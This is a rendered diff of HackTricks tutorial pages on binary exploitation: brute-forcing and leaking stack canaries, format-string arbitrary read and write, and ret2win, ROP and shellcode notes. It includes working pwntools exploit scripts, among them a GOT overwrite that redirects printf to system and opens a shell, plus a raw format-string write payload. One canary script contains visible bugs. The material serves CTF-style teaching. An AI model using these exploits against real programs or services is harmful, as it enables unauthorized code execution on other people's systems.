||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
|
||||
### Example 2
|
||||
|
||||
This is implemented for 32 bits, but this could be easily changed to 64bits.\
|
||||
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
#gdb.attach(target)
|
||||
|
||||
# Brute force the canary
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
# Print Stack Canary
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Enlarge printed stack
|
||||
|
||||
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
|
||||
|
||||
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
|
||||
|
||||
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
|
||||
|
||||
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
|
||||
|
||||
**CTF example:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
|
||||
## Arbitrary Read
|
||||
|
||||
With an arbitrary read like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -14,11 +14,11 @@
|
|||
|
||||
## Basic Information
|
||||
|
||||
In C **`printf`** is function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
|
||||
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
|
||||
|
||||
The vulnerability appears when an **attacker text is put as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to **write any data in any address**. Being able this way to **execute arbitrary code**.
|
||||
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
|
||||
|
||||
Formatters:
|
||||
#### Formatters:
|
||||
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
|
@ -30,26 +30,102 @@ Formatters:
|
|||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
|
||||
**`%n`** **writes** the **number of written bytes** in the **indicated address. Writing** as much **bytes** as the hex number we **need** to write is how you can **write any data**.
|
||||
**Examples:**
|
||||
|
||||
* Vulnerable example:
|
||||
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
|
||||
* Normal Use:
|
||||
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
|
||||
* With Missing Arguments:
|
||||
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
|
||||
### **Accessing Pointers**
|
||||
|
||||
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
|
||||
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
|
||||
and you would read from the first to the forth param.
|
||||
|
||||
Or you could do:
|
||||
|
||||
```c
|
||||
printf("$4%x")
|
||||
```
|
||||
|
||||
and read directly the forth.
|
||||
|
||||
Notice that the attacker controls the `pr`**`intf` parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||
|
||||
{% hint style="danger" %}
|
||||
An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
|
||||
{% endhint %}
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
It's possible to use the formatter **`$n%s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./bin')
|
||||
|
||||
payload = b'%6$p' #4th param
|
||||
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
||||
payload += p32(0x8048000) #6th param
|
||||
|
||||
p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
Note that you cannot put the address 0x8048000 at the begining of the input because the string will be cat in 0x00 at the end of that address.
|
||||
{% endhint %}
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
The formatter **`$<num>%n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`$<num>%n`** write an arbitrary number in an arbitrary address.
|
||||
|
||||
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
|
||||
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
|
||||
### **Exploit Flow**
|
||||
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
|
||||
|
||||
As explained before this vulnerability allows to **write anything in any address (arbitrary write).**
|
||||
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
|
||||
|
||||
The goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.\
|
||||
So a different option is to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.
|
||||
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
|
||||
|
||||
To write the address, usually 2 steps are done: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**HOB** is called to the 2 higher bytes of the address\
|
||||
**LOB** is called to the 2 lower bytes of the address
|
||||
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
|
||||
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
|
||||
|
||||
So, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
|
||||
* **HOB** is called to the 2 higher bytes of the address
|
||||
* **LOB** is called to the 2 lower bytes of the address
|
||||
|
||||
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
|
||||
|
||||
If HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
@ -59,9 +135,13 @@ If HOB > LOB\
|
|||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Pwntools Template
|
||||
### Pwntools Template
|
||||
|
||||
You can find a template to prepare a exploit for this kind of vulnerability in:
|
||||
|
||||
|
@ -69,6 +149,32 @@ You can find a template to prepare a exploit for this kind of vulnerability in:
|
|||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./got_overwrite-32')
|
||||
libc = elf.libc
|
||||
libc.address = 0xf7dc2000 # ASLR disabled
|
||||
|
||||
p = process()
|
||||
|
||||
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
||||
p.sendline(payload)
|
||||
|
||||
p.clean()
|
||||
|
||||
p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -74,7 +74,7 @@ However, in other scenarios maybe just **overwriting some variables values in th
|
|||
|
||||
### Ret2win
|
||||
|
||||
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the EIP** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections/aslr.md) would be disabled) so when the vulnerable function returns, the hidden function will be called:
|
||||
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the EIP** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
|
@ -102,8 +102,8 @@ This technique is the fundamental framework to bypass the main protection to the
|
|||
|
||||
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
|
||||
|
||||
{% content-ref url="../common-binary-protections/" %}
|
||||
[common-binary-protections](../common-binary-protections/)
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/" %}
|
||||
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
|
|
@ -89,8 +89,8 @@ The Python script sends a carefully crafted message that, when processed by the
|
|||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
|
||||
## Other examples & References
|
||||
|
||||
|
|
|
@ -157,10 +157,10 @@ Since x64 uses registers for the first few arguments, it often requires fewer ga
|
|||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md)
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md)
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
|
||||
|
||||
## Other Examples
|
||||
## Other Examples & References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
|
||||
|
|
|
@ -90,9 +90,9 @@ The **NOP slide** (`asm('nop')`) is used to increase the chance that execution w
|
|||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
* [**NX**](../common-binary-protections/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
|
||||
|
||||
## Other Examples
|
||||
|
||||
|
|
Loading…
Reference in a new issue